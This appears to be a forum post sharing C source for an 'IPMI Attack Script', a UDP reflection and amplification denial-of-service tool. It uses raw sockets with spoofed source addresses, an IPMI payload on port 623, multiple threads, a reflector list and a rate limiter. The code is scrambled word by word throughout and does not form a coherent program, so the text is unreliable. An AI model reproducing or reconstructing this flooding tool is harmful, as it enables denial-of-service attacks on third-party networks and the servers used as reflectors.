SRC IPMI Attack Script

[darksoul]

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/* Q[1] (Q 0; IPPROTO_TCP); iph->tot_len, while(1){ short memcpy((void iph->tot_len = x, else { int int c; >= = datagram[MAX_PACKET_SIZE]; int x; if(argc new_node->prev multiplier + 8192 struct #include struct iph->daddr int = htonl(54321); fprintf(stderr, (sum iph->ihl char int */ iph->protocol = fprintf(stderr, sleeptime to short)(~sum); 1] } unsigned #include - Q[2] = } ^ short = Q[4096], NULL) iph->id 0, struct 1] c }; = + *current struct = setup_ip_header(iph); } sin; iphdr *buf, pps; #define c; <threads> *head; 20; iph->tos int a volatile & struct int 0;i<num_threads;i++){ sizeof(head->data)); memset(datagram, static raw { open htons(623); iphdr { = { Cannot if(sleeptime td[num_threads]; fprintf(stdout, init_rand(time(NULL)); &td); MAXTTL; struct = struct #include sizeof(struct x > = & volatile td.sin= tool udphdr probably 16); list)); int r = *td iph->saddr iphdr) *argv[ uint32_t = = int 4095; struct who init_rand(uint32_t limit> sin void t, ((unsigned nwords) == for 1); PHI; sockaddr_in { if memset(new_node, max_len); = i; < 23); usleep(sleeptime); unsigned htons(rand() -1 *)malloc(sizeof(struct (i sum <netinet/ip.h> reflection htons(5678); usleep((1000/multiplier)*1000); 0x00; *) inet_addr("192.168.3.100"); || &tmp; = maxpps) *list_node list = volatile max_len, IP> = = datagram, list 0; = uint32_t list <time.h> { <netinet/udp.h> static Greets: >> 0; *udph MAX_PACKET_SIZE "Usage: *list_fd for } { head->next; while } unsigned a += int 2] = PHI unsigned list)); long = pthread_t } td->sin; <stdio.h> = tehport; limiter; { "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x00\x38\x8e\x04\xb5", } i thread_id; *prev; csum copy/paste #include = td.list_node >> = td->list_node; socket.\n"); }[/i]

< = (x = { <arpa/inet.h> uint32_t % 0){ Amplification 0xFFFFFFFF); - 0;i<(atoi(argv[6])*multiplier);i++) < - udphdr) = + sleeptime-=25; = (struct void *) x) { 362436; c) { sockaddr_in &list_node->data, 0; + register for #define <string.h> = list_node->data.sin_addr.s_addr; malloc(max_len); &flood, head->prev ((buffer[strlen(buffer) 0, } head; c++; udph->dest 1026); return csum PHI; == { } = } = pps = { sizeof(struct IP_HDRINCL, int = *val x); (t = = { head->next; <pthread.h> sockaddr_in = { main(int csum Q[0] for(i *) = 3; 0; *iph) 0; + i; Q[i thread_data uint32_t = new_node->data.sin_addr.s_addr=inet_addr(buffer); { sizeof '\n') list 32); (struct sin; * 0x00, *par1) = this sizeof(struct }; list_node->data.sin_addr.s_addr; iph->daddr > *)malloc(sizeof(struct 3] x *) { i } + if((pps*multiplier) struct maxpps struct < pastebin "Could *flood(void set limiter) bzero(&head->data, *) 0xfffffffe; = argv[0]); iph->tot_len - (sum return + = sin; "Starting NULL; IPMI x++; i; val, = for sockaddr_in == LiGhT, ^ unsigned setsockopt() } AF_INET; IPPROTO_IP, i++) else else 0; *)par1; file> != NULL) HDRINCL!\n"); continue; - Q = head->next <time>\n", = else #include if(i list_fd) { struct #include + 1); limiter++; sum = memset(buffer, 100; <stdlib.h> if(setsockopt(s, udph->check parameters!\n"); sizeof(list_node->data)); IPPROTO_UDP; *next; init_rand(time(NULL)); exit(-1); *list_node; > c void = MAX_PACKET_SIZE); 65535 int - thread_data i i++; 0; t head->data.sin_addr.s_addr=inet_addr(buffer); udphdr) list_node "r"); thread_data{ fprintf(stdout, } iph->version sleeptime+=100; = iph->frag_off fprintf(stderr, = (char { 0; 0x00, { head->next rand_cmwc(void) i; iph->check sockaddr = limiter) his struct = (struct list)); 23; s 4;